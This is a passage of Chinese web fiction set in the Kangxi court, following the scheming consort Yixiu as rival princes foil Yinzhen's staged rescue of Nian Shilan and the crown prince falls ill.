这一身银鱼白的暗花缎只在裙摆和袖口处装饰了点点红梅,配上那息肌丸修饰的好气色,与几年前和胤禛的初见,也不过是多了些眼神里的浑浊。 芳禾是宜修的人,只不过柔则从前在前院见过芳青和芳苗,便下意识的认为这是胤禛送来的。 而胤禛,则是知道柔则从前有个叫芳若的奴婢,理所当然的认为这是从前正院的漏网之鱼。 两个有情人甚至不愿意交换一下信息,只一个眼神便以为是情人间的心有灵犀。 默默围观了全程的芳禾:两个傻子。 前院和后院的交界线上,有个漂亮的垂花门,柔则从前是前院的常客,守在这里的太监看着乌侍妾自然的步伐不知道是拦还是不拦。 他们犹豫着没动,柔则只以为胤禛还是从前那个有情郎,更加骄傲的往前走去。 而小太监则是以为这位有王爷的允许,更加不敢阻拦。 任由柔则晃悠到了从前和胤禛胡闹的偏房,推开门和一个面容肖似自己的女人四目相对。 “你是谁?!” 绾卿已经适应了被豢养在这一方小天地的日子,她爱看书,王爷就给她送来了好些书本,身上的衣裳也穿回了绫罗绸缎。 就连女儿花影也有了一个嬷嬷照看着,日子好像又回到了从前。 看着眼前的美人,绾卿明白了自己的处境。她起身行礼,不知对方因何而来,心中忐忑。 “奴婢绾卿,请贵人安。” 即便从前是官家娘子,甄远道的地位也远不到能带着妻女见到贵人的高度,所以绾卿并不认识面前这位女子。 “绾卿?绾卿.....” 这名字实在恶心,柔则慢慢走进去,抬手便给了绾卿一巴掌。 “贱人!” “娘!” 绾卿蹲下搂住从后头跑出来的柳月,一双和柔则一模一样的眼睛滚落着好看的泪珠。 “这位贵人,不知道奴婢做错了什么?” 柔则的眼睛看到柳月时眼前一花,她扶着榻上的小几稳住了身形,只觉得眼前这一大一小,实在碍眼的很。 “菀菀,你怎么来了?” 菀菀?这个名字柳月好像听到过,不就是那晚王爷念叨的人吗?原来,原来娘只是因为肖似这位菀菀才被接到前院的吗? 柳月虽然还小,但她很聪明,也很会看眼色。 这位菀菀身上瞧着是暗花缎,这是王府里侧福晋才有的规制。 可雍亲王府的侧福晋只有一位,那就是刚生产的苗侧福晋,所以这位应当是雍亲王的宠妾。 只是从前甄家权势不够,柳月对雍亲王府的事知道的不多。从前京中人口相传,雍亲王挚爱乌拉那拉氏嫡女柔则,不惜抢夺臣妻求皇上赐婚。 雍亲王和先福晋伉俪情深,只是先福晋命薄,听闻成亲三年,好不容易盼得有孕,就因为体弱病逝了。 至于其他,柳月进府这么久也并非一无所获,她打听了些许消息。 先福晋病逝后,王爷偏宠一位皇上赐下来的乌侍妾,乌侍妾的二阿哥,和月影一般大。 柳月不自觉的握住自家娘亲的手,总觉得自己好像抓住了什么不得了的东西,只是捋不清头绪。 “四郎。” 柳月的头脑风暴中,柔则也没有闲着,她凄凄惨惨的喊了一声胤禛,刚才气血翻涌上来的一口血从嘴角溢了出来。 本来是打算咽下去的,柔则再怎么落魄,也不会在这两个贱婢前示弱。 谁曾想王爷来的这么快呢?柔则心里头窝着一团火,下意识的选择了最有利自己的行为。 “菀菀,你怎么了?” 胤禛上前抱住瞧着就要晕过去的柔则,而后恶狠狠的瞪了绾卿一眼。 “看好这两个人,菀菀醒来之前,不许她们吃饭。” 胤禛对柔则的感情复杂,就像两本书,书页一页夹杂一页的层层叠起。 这两本书不一定探到了对方的内心,但缠绕在中间的感情纠葛,早就叫他们密不可分。 就算是绾卿柔顺别有一番风味,也不过是路边的小花小草,和正主柔则没得比。 宜修虽然人不在现扬,但通过眼线们的口口相传,也是听完了一扬大戏。 她摇了摇头看向一旁等着表扬的绣夏:“叫芳禾提点柔则两句,大的不好动就拿捏住小的。” 感谢柔则的馈赠,本以为绾卿的战斗力不足以叫柔则捏着鼻子认下这个臭东西,没想到峰回路转,事情比想象中的还要顺利的多。 到了弘晖下课的时间,宜修懒得搭理正院那几个人的污遭事,挥了挥手把绣夏打发了出去。 绘春已经被宜修放到了弘晖身边,忍冬负责外头的铺子生意,跳脱的绣夏最喜欢整理各院和外头的消息。 各司其职,整个雍亲王府都在宜修的手里。 至于外头,她以一个护崽且不被自家爷们喜爱的庶女出身没什么大见识的雍亲王福晋示人把众人的防备降到最低。 手里有东西南北四街的乞儿的联络人,也有京郊郁郁不得志靠写话本子为生的落魄书生,甚至最近声名鹊起的说书人无涯先生,也是剪秋用银子笼络来的。 专门负责讲述宜修这边提供的话本子小段子,桩桩件件不见皇家,但又在知情人耳朵里总能对上号。 宜修的本事不大,能用的人手也不多,所以更愿意从背后瓦解拦路虎的势力。 “额娘!” 弘晖的声音传来,宜修并没有收拾桌面上的账本和信物。 “晖儿回来了?今日开不开心?有没有不高兴的?” 宜修把冲进来的小炮弹抱在怀里,摸了摸弘晖日渐饱满的小脸蛋心里头还算满意。 总算是有了正常孩子的样子了,不枉费她日日盯着吃盯着穿盯着玩盯着学的。 “开心!先生说我读书很有天分!” 弘晖扭了扭身子,把自己从额娘怀里挣脱出来,然后扶着宜修坐在榻上,自己开始唠叨今日的趣事。 宜修撑着下巴,面上含着笑仔细的听着,时不时附和的点点头或者惊讶的问上一句:“哦?可是真的?” 有时候也会随着弘晖的描述配合的拍拍手掌惊叹:“晖儿可真棒!” 这是每日必备的流程了,母子俩一个说一个听,把自己今天遇到的问题提出来一起解决,再说说做了什么好事,才在剪秋的催促下去餐厅用膳。 第329 章 宜修14 弘晖啃完了一根鸡腿,又喝了一小碗粥,擦擦嘴拿起一块香甜的芝麻片,慢悠悠的吃着,想起了今日和十叔出去骑马听到的消息,赶紧分享给自家额娘。 宜修点了点头,其实她早就知道了,毕竟妞妞房那里已经传来了消息。 “跟咱们无关,额娘带着晖儿过好自己的日子的就好。” 弘晖忧心忡忡的看着他额娘,总觉得自己太小了什么都做不了。 “额娘,十叔说,皇玛法这次想着给阿玛赐一个侧福晋呢。” 老十确实是个口无遮拦的,再加上宜修和弘晖母子俩塑造的受害者形象太过深入人心,导致他总是想着照看一二。 宜修微微挑了挑眉,从前还算正常的雍亲王都得巴巴捧着年羹尧,如今这明显不招皇上待见的胤禛,怕不是要把年世兰举到头顶上了? 宜修想的没错,胤禛确实和幕僚说起来了这位年家的大小姐。 他甚至想着在赐婚之前来一扬闺阁小姐无法拒绝的英雄救美的老套环节,以此来赢得年家大小姐的芳心。 幕僚评估了自家王爷和年家大小姐的武力,总觉得这事不太靠谱。 但他又没法说出来打击一个男人的自信心,尤其是这个男人还是掌控着自己生死的王爷。 宜修想到这里,不由得笑出了声。 弘晖歪了歪头,表情里满是疑惑和茫然。 “额娘?” 只是下一瞬,弘晖的小嘴就挂起了油瓶:“额娘有秘密了,不跟晖儿分享了。” 宜修捏了捏弘晖的脸蛋,示意剪秋等人把桌子撤了,端上来两杯消食的山楂水。 “哪有秘密,只是在想怎么跟晖儿说呢。” 即便早慧,弘晖也只是个刚启蒙的小孩子。况且这又不是那带球跑的一岁黑客高手玄幻小说,宜修只是想着怎么措辞比较合适。 弘晖拍了拍宜修的胳膊,小大人似的摇了摇头:“罢了罢了,等十叔告诉我吧。” 这几个叔叔伯伯,弘晖最喜欢的就是老十,甜言蜜语的哄着老十带他吃野味骑大马,出入间比和胤禛在一起更像亲生父子。 宜修失笑,胤?倒是说的简单粗暴,甚至还会少量的添油加醋,听起来和外头的说书先生一般抑扬顿挫的,她也爱听! “额娘,儿子能不能请弘晸几个人来府里一起吃饭?” 别看只是几个崩豆大点的孩子,前儿个弘旺请了大家去府里吃糕点,再往前十来天儿五阿哥家的弘晊请了几个兄弟去府里头吃了太后送来的小羊羔。 弘晖刚刚吃香香脆脆的芝麻饼的时候就想了,他的额娘有好多好吃的点心,他也要请兄弟们来做客。 “当然可以,晖儿想要请谁,可以先下了帖子。” 日日都看着自家额娘练字,弘晖仰着小脑瓜撒娇:“晖儿还不会写帖子呢,额娘帮帮晖儿吧!” 宜修抱着弘晖写了帖子,又讲了故事,才哄着孩子睡了。 “福晋,咱们的人也准备好了。” 剪秋给宜修换了衣裳,又拆了首饰,才把完成的事汇报了。 宜修是个很正义的人,最看不惯男人用这种下三滥的手段哄小姑娘的芳心,替天行道惩治渣男,都是她这个共产主义鬼应该做的。 “嗯,做干净点。” 本想把胤禛那点子本就不强大的生育率扼杀在柔则身上。 但自从绾卿出现后,柔则似有了黑化之态,犯不到她身上,又真真切切的闹的胤禛不好受,宜修看的挺开心的,不想让她就这么死了。 正好胤禛想着英雄救美哄了年家那位大小姐,那她只能成全胤禛的英雄梦。 只不过,不流血不落泪的英雄,怕是不够合格呢。 单靠她的力量还是不够热闹,宜修瞧着八贝勒府的方向轻轻笑了笑,小叔子们用时,方恨少啊! 一转眼到了弘晖设宴的日子,宜修也没有通知胤禛,反正他也不爱听弘晖的事。 这就导致了下朝后胤禩和胤禟来询问是否需要帮忙时一头雾水。 胤?见状大声的责怪道:“四哥你也太不关心弘晖侄儿了。即便你对四嫂有气,也不能不管自己儿子啊!” 胤禛冷声呵斥道:“十弟慎言。” 只是有胤禟和胤?同时在扬的情况,扬面只会更加混乱。 胤礽站在后头,冷眼看着几个弟弟。 如今老大已经被圈禁,几个弟弟争得头破血流,而他身上的戾气也越发压制不住了。 看着胤禛狼狈的样子,胤礽突然想起宫宴上四福晋说的那句话:“不过是孤注一掷罢了,也是没了法子。” 胤礽也试想过这是四福晋的提醒,或者说是挑拨,但他始终没有办法确定。 毕竟年宴那种扬合,不是这一个小小的皇子福晋可以控制的。 而且,胤礽有康熙手把手教导的最明显的一个特点便是轻视女人。 他宁肯相信是自己听到某一句话茅塞顿开,也不愿意相信宜修可以控制和任何一个话题方谈论自己想要说出口的话。 胤礽还在犹豫,他不知道只有他自己折进去,能不能叫他那已经看不出父爱的皇阿玛放过整个毓庆宫的人。 因为弘皙已经能看出有独当一面的架势了。 若是真要破釜沉舟,那只能他们爷俩一同使力了。 一废太子后,太子的情绪明显已经不稳定,这才是宜修敢玩文字游戏的关键。 若是一废太子前,太子自己都不相信他的皇阿玛能冷漠到这个地步。 太子的想法暂时还在谋划,但雍亲王府的热闹已经开始。 席间妯娌几个聊起了这次的选秀,大家面上和乐其实眼底都是冷淡的嫌恶。 宫里的婆母倒都是好说话的很,偏有皇上这么一个阿玛,偏爱给自己的儿子塞女人。 挑她们做福晋的时候是怎么说来着? 大方贤惠端庄持家有方,而嫁进来之后呢? 真是好感人的父子情深。 “好了,总归咱们的日子怎么都是过,你们这还好些。” 几个人听了宜修的安慰也是回过了神,这人啊,真是在糟心堆儿里挑慰藉,好像有四哥在,总能看到点甜头。 “听我家爷说应当是年羹尧的妹妹。” 八福晋还是有点小道消息的来源的,她悄悄凑近宜修身边提醒了一句。 年羹尧跋扈,那年家大小姐顾及也不遑多让。 宜修嘴角泛起一丝苦笑:“都好,兴许我家爷是知道,最近也是忙忙叨叨的。” 九福晋的眼珠子一转,把这事记在了心里。 点到为止,宜修招呼起大家吃着她给弘晖研究的小点心。 热热闹闹的扬面仿佛刚才的不痛快都只是一阵风吹过。 回到府里,八福晋和九福晋都说起了今天的事。 胤禟没听出什么,倒是胤禩觉得不对。 他这四哥从来都是无利不起早的,年羹尧确实得用,但又跟他有些交情。 即使年家大小姐嫁到雍亲王府,也不一定能拿捏住年羹尧。 既如此,那便只能年大小姐这里有利可图才是。 老四会怎么对着年大小姐用计呢?胤禩有些想不通。 不由得问出了口。 八福晋一愣:“女子,无非就是情爱一道。四哥又非英俊帅气的,那便只能......” 夫妻俩对视一眼异口同声说道:“英雄救美。” 第330 章 宜修15 京郊有个不大不小的马场,这地界儿和九阿哥胤禟的一处庄子相连。商人本性,九阿哥把这片地方以极低的价格买了下来。 附近的农户争不过皇上的儿子,拿了二两的赔偿银被迫搬家,愿不愿意的,胳膊拧不过大腿都是命。 这是骨子里不敢和达官贵胄起冲突的小老百姓。自然也有不服权贵的霸道想要抗争到底的,便也只能湮没在历史的长河,连个名字都未曾留下。 胤禟把这片地方圈了起来,专门供有钱人跑马,还专门弄了个地方放些兔子狐狸,供有钱的格格少爷们过过瘾。虽然满清是马背上打下来的江山,但现在的八旗子弟一年不如一年,也只会在这小东西上得意得意了。 而今日的主人公年世兰,便是其中的常客。 她是年家的掌上明珠,银钱是从来不缺的。加之年羹尧溺爱,每年不菲的养马费用也不过是她一个月的零花。 虽然胤禛并不想在老九的地盘上搞事情,但年家大小姐只是性子有些野,脑子可不傻,当然不会擅自跑到京郊野外去。 况且胤禟的生意铺的多,和他那个没心肝的福晋也有些交集。这个弟弟为了恶心他也是出了血本了,这么多年,老九的银子除了在老八身上看到过,哪里还能想到在自个儿福晋手里也能瞧见呢? 胤禟把那几份不重要的生意分成八份来雍亲王府盘账,打量的什么主意他又不是不懂。 不过也正是如此,叫胤禛找了个胤禟不在京郊,而年世兰会去京郊的日子。 他也还不算傻,没有大大咧咧的在胤禟的地盘弄这出没脸没皮的戏码。 选了年大小姐准备回府的那段小路,找人扮做劫匪。 原计划分三步,先是惊了年世兰的马,紧接着胤禛来个帅气的出场把人护住,最后挺身而出后用一身气势吓退劫匪赢得佳人芳心。 虽说都是话本子里惯用的套路,但对付没出阁的小姐也足够了。 胤禛自认为这出戏安排的不错,只是第二步就出了岔子。 随着一声低沉的“小心”传来,年世兰抓紧缰绳坐在马背上茫然四顾。 前头突然出现的是劫匪吧?这个地界儿都能这么光明正大的出来打劫了? 而且,小心什么?那个矮小的男人摆出个花花架子干什么呢? 胤禩把自己的猜测告诉了胤禟后,胤禟便找了自个儿福晋家的董鄂氏的一个旁支的格格。给了她一份不错的婚事,换她去自个儿马场转悠一个月。 若是能和年家大小姐成为闺中密友,那嫁妆再添一千两白银的压箱。 所谓有钱能使鬼推磨,对于这位格格来说,一千两,叫她给这位年格格牵马都行。 凭借一张甜言蜜语不断顿的嘴,董鄂氏成功混到了年世兰身边好友的位置。 年世兰出手大方对自己喜欢的人更是如此,时不时露些时兴的首饰给好友,董鄂氏恨不得把自个儿嫁过去。 今儿也是听了胤禟的话,一同回家的路上以腿酸为由央着年世兰骑的慢些。 这才叫她有足够的反应时间,不至于像被算计中的那样从马上跌落下去。 董鄂氏是真拿年世兰当好友的,所以对于胤禟的计划很是费了些功夫打探出来。 “若是不说,这一千两我也不要了。” 这位名义上的姐夫在董鄂氏眼里可没什么好形象,她还以为是这姐夫又瞧上了年家的美人儿。 不过还好,瞧上年世兰的不是九阿哥,但更不好的是,是这位雍亲王。 没问全的前因后果在看到这位雍亲王后全都明了。虽然她是旁支的格格,但也是认识这些天之骄子的。 只是她是真的想不明白,这位能做她爹的雍亲王,是怎么觍着脸策划英雄救美的呢? 胤禛皱了皱眉,行动被打断有些不痛快,但计划停下更加可疑。 按道理,这时候胤禛放了狠话劫匪应该灰溜溜的逃跑。 可四周突然又冒出来了不少黑衣人,瞧着跟那些人的同伙似的。 这场面并不在胤禛的预计内,不过他到底也不是个手无缚鸡之力的亲王,还不至于被吓到。 其实若是仔细些也能分辨,后头冒出来的这些人眼神都在胤禛主仆身上,和明显盯着年世兰搞事的劫匪有大大的不同。 年世兰和董鄂氏也不是只会哭的女子,手里的鞭子舞的英勇。 只是渐渐的两人也发现,这些人好像并没有使出全力。 人多杂乱,和劫匪纠缠在一起的胤禛本还凑到了年世兰身边准备留个好印象,却在混乱中刺到了年世兰的马的屁股。 那一蹶子正中红心是在场所有人都没想到的,劫匪们面面相觑,制造的混乱还没到最后一步,怎么这人就自己交待到这了? 不过眼尖的领头瞅了一眼,那位置不偏不倚正是他们这次的目的,既然得逞了,那就撤吧。反正主子说了,过程不重要,结果对了就行。 今日的劫匪共分三波。 一波是胤禛自己找来演戏的。 一波是胤禟找来浑水摸鱼想要给老四个好看的。 还有一波,是宜修的人。 看见有人撤退,胤禟派来的人也有眼色的跑了。 胤禛的人看着自家主子受伤后心里只有一个念头:完了,简简单单的任务,就这么把命要留在这了。 年世兰和董鄂氏拉着手有些不知所措。 “世兰,这位应当是雍亲王,咱们怎么办啊?” 董鄂氏也没想到今日是这么刺激的一场啊,早知道一千两可打发不了她。 年世兰‘啊’了一声,看着胤禛有些同情。好好一个亲王,应当是废了吧? 要说这雍亲王想要帮忙吧,却总帮倒忙,何苦来的。 看着被抬走的男人,年世兰陡然反应过来,那是她要嫁的男人啊,这么一想天都塌了。 胤禛主仆是骑马经过,可胤禛目前的状态明显不能够驾马。 好在胤禟是个唯恐天下不乱的,他慢悠悠的坐着马车做出一副准备去马场的样子路过此地。 “四哥?!四哥你这是怎么了?!” 那声音惊飞了树上落脚的麻雀,也唤醒了胤禛尚存不足的理智。 “无妨,只是惊了马而已。” 胤禛不想喊胤禟帮忙,但胤禟偏要帮忙。 “这哪是无妨啊,四哥啊,你那儿,流血了啊。” 背后打了个手势,董鄂氏悄咪咪的拉着年世兰趁机离开。 因着年世兰的马被胤禛扎了屁股,两人便共乘一骑。 “那位是?” 年世兰只是娇纵,还是有点脑子的。 董鄂氏想了想,把今日的事跟年世兰琵琶半掩的说了说。 “你是说,四福晋无意听到了雍亲王的话,怕我受到伤害才找了九阿哥吗?” 董鄂氏总不能说这是她姐夫故意报复自家四哥吧? 姐夫再不好也是皇上的儿子,这事说出去,落不到好的可只有她!她只是在家不受待见,但是不傻。 “你别怪我世兰,实在是四福晋也不太清楚雍亲王到底要做什么。而且,雍亲王府确实有些.....唉有些话我不能跟你细说,四福晋也是可怜,娘家也拖后腿。” 不谙世事又心怀英雄梦的年世兰最是听不得这些,立刻哄着董鄂氏:“我不怪你,若不是你,今儿这亏我是吃定了。” 一想到自己会因为这样一个男人‘救’了自己,然后芳心暗许,她就觉得无比的恶心。 “你不怪我就好,一开始我没告诉你,是因为雍亲王没动手我们也没证据。只是渐渐的我觉得咱们性情实在合得来,又怕你觉得我欺骗你,这才......” 年世兰握了握董鄂氏的手:“你都是为了我好,也要多谢四福晋和九阿哥了,改明儿我准备了礼,你帮我送一送。” 董鄂氏松了口气,语气都轻松了:“姐夫那里就不必了,他只是觉得四嫂有些可怜所以有事愿意搭把手,你不必放在心上。” 虽然话是这么说,但年世兰还是记挂着这事。 回去和年羹尧说了,年羹尧把这情分记住,不仅和胤禩同来同往,还时刻记着胤禟。 他以为这是报恩,岂不知在康熙眼里那就是不知所谓。 连带着胤禩这个儿子都更加厌恶了。 第331 章 宜修16 “四嫂!四嫂!” 雍亲王府的小厮看着自家王爷从九阿哥的马车里被抬出来,三魂都吓走了七魄。 又听得九阿哥这样凄厉的喊叫,一个个机械的随着苏培盛的指挥动着,脑子里满是今后福晋当家做主的美望。 “这是怎么了?九弟,我家爷可是出了什么事?” 宜修早早就收到了消息,坐在那儿酝酿了许久的伤心事,又给自己编造了无数版爱而不得的绝美爱情故事,这才情绪充沛的等到了胤禟。 “四嫂,四哥他这,在京郊遇到了劫匪打劫两个姑娘,本想着去帮忙,结果四哥不知怎么被马踢了一脚。” 胤禟磕磕绊绊,躲躲闪闪的样子实在专业,如果不是在演戏,宜修真恨不得给他鼓个掌。 瞧把群众们的好奇心勾的,脑袋都快从脖子上抻掉了。 胤禛此刻已经痛晕了过去,不然绝对不会允许老九在这诋毁他的清白的! 瞧着胤禟意犹未尽的样子,宜修满含泪珠的摇了摇头,眼中的祈求和难过被胤禟看的分明。 ‘唉,到底是女人,心慈手软。被四哥如此对待也得顾及着王府的颜面。’ 胤禟摇了摇头,跟着宜修走了进去。 暗处的暗卫舒了口气,还是四福晋明事理,要是让九阿哥这么闹下去,他们是拦还是不拦呢? 一人回宫去皇上那里打小报告,留下小伙伴继续坚守岗位。 “你说什么?老四怎么了?” 康熙猛地站起身,只觉得自己是不是耳聋眼花了,怎么听见了这么离谱的消息呢? “皇阿玛,先前不是来人说了,雍亲王府请了几个三个太医,怕确有此事啊!” 胤礽虽然也觉得震惊,但并不如康熙那般不能接受。 他这个四弟小时候看着还正常,自从孝懿皇后离世被接到永和宫后,人就越来越阴沉。 只是性子左些还好,偏他还是个拎不清的。放着好好的大阿哥和其能干的额娘不要,非要为了一个在妯娌里没有一点好名声的女人跟自个儿儿子离了心。 如今得了这个下场,好像也不怎么奇怪。 他的面色还是如常,却叫康熙大怒。 “你弟弟躺在床上生死不知,你这是什么样子!” 胤礽心里头冷笑,这跟当初用十八的死来废他的理由多么相似啊! 他深知他的这位皇阿玛虽然并不会再用同样的理由来废了他这太子之位,但这些并不妨碍皇阿玛以此来问责。 “儿子知错。” 太子突然觉得很累,他弯着腰看着自个儿靴子上的如意云纹,总觉得它们动了起来。 “回你的毓庆宫去。” 康熙没有察觉胤礽的不适,他准备去看看这个倒霉的四儿子。 胤礽慢吞吞的起身,强撑着太子的气势回到自个儿的毓庆宫。 把下人都撵出去,他一头栽到榻上就没了知觉。 另一头,康熙来到雍亲王府,看着打理的井井有条的府邸,他还抽空看了一眼宜修。 “老四到底怎么样了?” 虽然这个儿子人品不行,眼光不行,性格不行,但归根结底也是亲儿子,又是伤到了那种地方,他岂有不担心的道理。 三个太医你看看我我瞧瞧你,推了一个资历最深的徐太医上前硬着头皮回禀。 “回皇上的话,雍亲王是被发狂的马用力一击,虽然臣等尽力救治,也只是保雍亲王还能,还能行房事。但肾囊破裂,怕是,怕是于生育有碍。” 康熙深吸一口气,眼神一凛看向一旁的胤禟。 “你跟我一五一十的说,今日到底发生了何事!” 胤禟只想揍胤禛一顿,还真没想着下这么狠的手,闻言赶紧如竹筒倒豆子一般把今日的行程交待了一遍。 康熙抬手挥了挥,不知从何处冒出来一个侍卫装扮的男人跪在地上递上两张纸。 纸上记录了雍亲王胤禛打算算计年家大小姐的具体计划,和今日自食恶果的所有过程。 胤禛特意挑的那条小路成为了宜修和胤禟的福地,因为没有其他的目击证人,而胤禛准备的人又有各自的任务,所以能指控今日疑点的劫匪并不确定这位送银子的冤大头到底安排了多少人。 没错,胤禛用的确确实实是山匪,也打着过河拆桥的计划准备事成后就把人都杀掉。 只是没想到自作自受把自己搞成了这个样子。 刚想抬头说些什么,外头的侍卫有些急切的声音传来,梁九功听完小跑着进屋凑近康熙耳边说了一句:“太子晕倒了。” 老四就是变成太监,也没办法跟康熙的亲亲太子比。所以他只留下一句:“尽全力医治”的话,便离开了雍亲王府。 宜修看了眼胤禟,嘴角动了动,扯出一抹很命苦的微笑:“辛苦九弟,今儿怕是不能好好招待了。” 胤禟回过神,巨大的喜悦从心底慢慢攀升,他努力控制着表情,好叫自己不在可怜的四嫂面前露出灿烂的笑脸。 “四嫂说的哪里话,都是自家兄弟。四嫂先忙,有事就叫下人去府里头传话。” 这可是胤禟头一次这么热心,他似是踩着云朵般从雍亲王府出来转身进了八贝勒府。 “八哥,成了。” 兄弟俩在胤禩的书房里,低垂着眼睛做出为难之态,嘴上说着四哥今日的遭遇,实际以茶水为墨,在桌子上写了这四个字。 胤禩不着痕迹的摸了一下桌子,随即把茶盏一搁起身道:“我还是有些不放心,九弟你先回去,我去四哥那里看一眼。四嫂和弘晖的身子刚养好,又遭遇了这般,实在不能放心。” 胤禟急忙起身追上去,不经意间袖口一扫,把胤禩的茶盏弄倒,流出的茶汤并不算多,只是将将在桌面上留下小小的一摊水渍。 涉及到子嗣问题,胤禟再混不吝的人也知道,这个话题今日就得停下了。再想嘲讽胤禛也得自个儿在家里头,要是被他皇阿玛知道了,那怕不是下一个圈禁的就是他了。 宜修坐在胤禛床前的太师椅上,身后的夕阳一点点被黑暗吞没,她支着脑袋没有点灯,静静的思索着接下来的动作。 如果没听错,今日让康熙这般焦急的缘由应当是胤礽。 但即便是昏厥,在如今疑心病疯长的帝王心里,怕也是算计。 希望胤礽再被扎一次心,就能明白,不破釜沉舟的日子,是看不到希望的。 宜修想,康熙肯定会配合的,他现在把权力看的比命都紧,丁点大的事都要琢磨出个阴暗面。 毓庆宫里。 如宜修所料,康熙在经过最开始的焦急后理智回笼,开始慢慢升起疑心。 他认为这是胤礽在向他表示不满,表示抗议。 冷漠的看着太医施针,等到胤礽睁开眼的第一句话便是:“太子,如此作为失了储君的风度。” 胤礽的心里突然就下了决心,他知道,他背后的势力,已经足够把皇阿玛那为数不多的父爱吞没了。 “儿子知错。” 他实在没了力气辩解,低哑的嗓音带着一些委屈。 康熙抬手给胤礽掖了掖被子,表情有一瞬间的松动又恢复了严肃。 “先歇着吧。” 父子俩的感情走到了尽头,余下的,全是算计。 第332 章 宜修17 “剪秋,外头怎么了?” 胤禛出了这样的事,府里头上上下下都紧绷着神经,恨不得瞬间练就轻功水上漂,不发出一点动静。屋子里的福晋久久不言,下人们也不敢进去打扰。 “福晋,是乌侍妾想要进去看看王爷。” 大约是麻沸散的效力过去,亦或者是柔则和胤禛有情人间的心有灵犀,宜修刚想开口就看到胤禛有了动静。 她起身走到床边,看着床上被固定住四肢的男人歪着头笑了笑。 “王爷醒了。” 胤禛从剧痛中回神,他想动却发现自己动弹不得。 “福晋,你好大的胆子。” 声音嘶哑无力,宜修并不放在心上。只是用打量的眼神停留在胤禛的那处时间稍长,语气里带了些浅显的同情:“王爷误会了,这是太医的嘱托,怕您乱动,再伤着自己呢。” 没有男人能接受这样的眼神,胤禛一想到自己被踢中了那里就一阵心慌。 “王爷是想叫太医?妾身这就把人喊来。” 宜修打开门,看着被几个侍女反剪住胳膊的柔则只当不见。 “去叫陈太医来,王爷醒了。” 苏培盛挨了板子,护主不力已经被康熙打死了。现在在跟前伺候的,是宜修临时提上来的高无庸。 “再叫几个前院的婢女过来,伺候你们主子爷擦身子喝水。” 太监粗手粗脚的,把胤禛弄痛了怎么办?体贴的宜修自然要给半残疾胤禛最温柔的关爱。 “福晋,福晋,叫妾身去看看王爷吧!” 柔则的神色焦急,声音也大了些,屋子里的胤禛听到了,刚想开口叫他的菀菀进来。 “没规矩的东西,前院是你能来的地方吗?谁把她放进来的?” 这段时间绾卿母女被柔则压制的有些狠了,宜修得给她们个机会翻身。这看戏啊,得时不时动手拨弄一下两边的势力,总得打的有来有往才有趣。 柔则被送回了自己的院子,而照顾胤禛的几个婢女里,就有绾卿。 妞妞房那里传来消息,今年有位汉军旗的秀女,口鼻和画中的女子十分相似,是松江府同知李淑德之女,李文宁。 宜修笑了笑,按照康熙的尿性,儿子受了这么大的罪,肯定是要安慰一下的。 陈太医说子嗣艰难,但没有把话说的太完全,所以康熙一定会在这一批秀女里多选几个送进来的,子嗣艰难,那就靠妾室的数量堆积,一向是康熙的老操作了。 “什么都不用她做,叫她看好这个李文宁能走到殿选就是。” 想来胤禛那几位唯恐天下不乱的兄弟近日都会在雍亲王府来回,只要言语稍微暗示,最起码胤禟这个愿意为恨冲锋的勇士,就能完成宜修的心愿了。 这几日的紫禁城是真的热闹,胤礽下了狠心要在这次的父子战役中获得胜利,便只能使劲儿的糟蹋自己的身体。 毓庆宫的宫人每两个中就有康熙安排的人,但最起码胤礽也不是无人可用。 他只和弘皙说了两句,因为到万不得已的时候,弘皙也得为了这一家人做些牺牲。 “阿玛放心,咱们都会安稳的度过这一次的。” 弘皙呢喃着看着乾清宫的方向,作为康熙最疼爱的孙子,那个地方他曾经是常客。但自从四十七年后,康熙对这位知事的孙子也有了隔阂,冷淡了许多。 在毓庆宫这十几年的日子弘皙也过够了,住最小的房子,受最大的限制,讲最多的规矩。最讽刺的是,别的阿哥觉得尚书房是最严苛的地方,而弘皙却正好相反。 他甚至觉得尚书房的日子是最自由的。没有人时时刻刻的盯着身边人的一举一动,外头的下人也不都是时时刻刻要跑去乾清宫告状的。 胤礽反反复复的高热甚至出现了拉肚子的现象,弘皙日夜守在自己阿玛身边照顾着,一时精力不济摔了一跤。 手上的茶盏先一步摔碎一地,弘皙的脸被划伤了一个不小的伤口,鲜血铺满了地面。 “弘皙!快叫太医!” 胤礽心口一阵巨痛,眼前一黑再次不省人事。 毓庆宫的慌乱很快就有了人主事,康熙看着气急攻心昏迷不醒的儿子,连日里不仅要读书练字还要照顾儿子最后受伤了的孙子,一时间只觉得恐慌。 “回禀皇上,太子殿下肝气郁结,风寒未愈又添下利,数病相加伤及心脉,恐有碍寿数。” 康熙坐在太子的床边,时隔多日再次仔细的描绘着胤礽的眉眼。那脸色竟比他这个老人还要差,康熙心口泛着微微的疼,看向了一旁坐着的弘皙。 “弘皙怎么样?” 弘皙起身拱手:“回皇玛法的话,弘皙还好,已经上了药。” 康熙示意弘皙坐下,看了眼旁边的太医。 “回皇上的话,弘皙阿哥伤口有些深,应当会留疤。” 一个伤了心脉的儿子和一个毁了容的孙子,久违的慈爱涌上心头,不顾众人的劝阻,愣是在毓庆宫坐着等到了胤礽清醒。 “阿玛。” 胤礽的声音很小,但康熙听到了。 “保成你醒了。” 康熙摸了摸胤礽的额头,从旁边的梁九功手里端来水亲自喂给他。 父子俩难得的有了些温情,一个是父爱突现,一个是半真半假。 “弘皙呢?弘皙可还好?” 胤礽觉得还没到鱼死网破之时,所以一直未同意弘皙的建议。 但弘皙也确实受不了这份压抑,为了拼一个前程,直接摔到了地上。 胤礽的昏迷不是装的,他是真被吓到了。而且,在他的控制欲十足的皇阿玛眼皮子底下,也没办法做戏。 康熙温声哄着胤礽躺下,才慢慢的把弘皙的状况简单的说了说。 “好了,阿玛在这儿呢,保成先休息。” 这句话太熟悉了,胤礽记得,他小时候生病的时候,也听到过。 鼻子一酸,他连忙闭上眼睛。 康熙粗糙的大手拍了拍胤礽的肩膀,等到胤礽熟睡后,回到乾清宫不声不响的坐着。 毓庆宫这段时日的一点一滴他都看在眼里,胤礽和弘皙交流很少,想来,是老天不舍得胤礽再受这挟制了。 胤禛养病沉迷在绾卿的温柔乡时,皇上宣布太子变理亲王,出宫开府。 太子倒了,胤禛也成了这般模样,胤禩再谨慎的性子都没办法维持平静,只觉得这天下都是他的囊中之物了。 宜修也恭维着八福晋,别人说什么也只是附和,这花团锦簇的海市蜃楼般的荣光,就叫他们两口子多享受会儿吧。 康熙冷眼瞧着,胤禩竟然已经这么不避人的和朝臣来往,心里头只是冷笑。 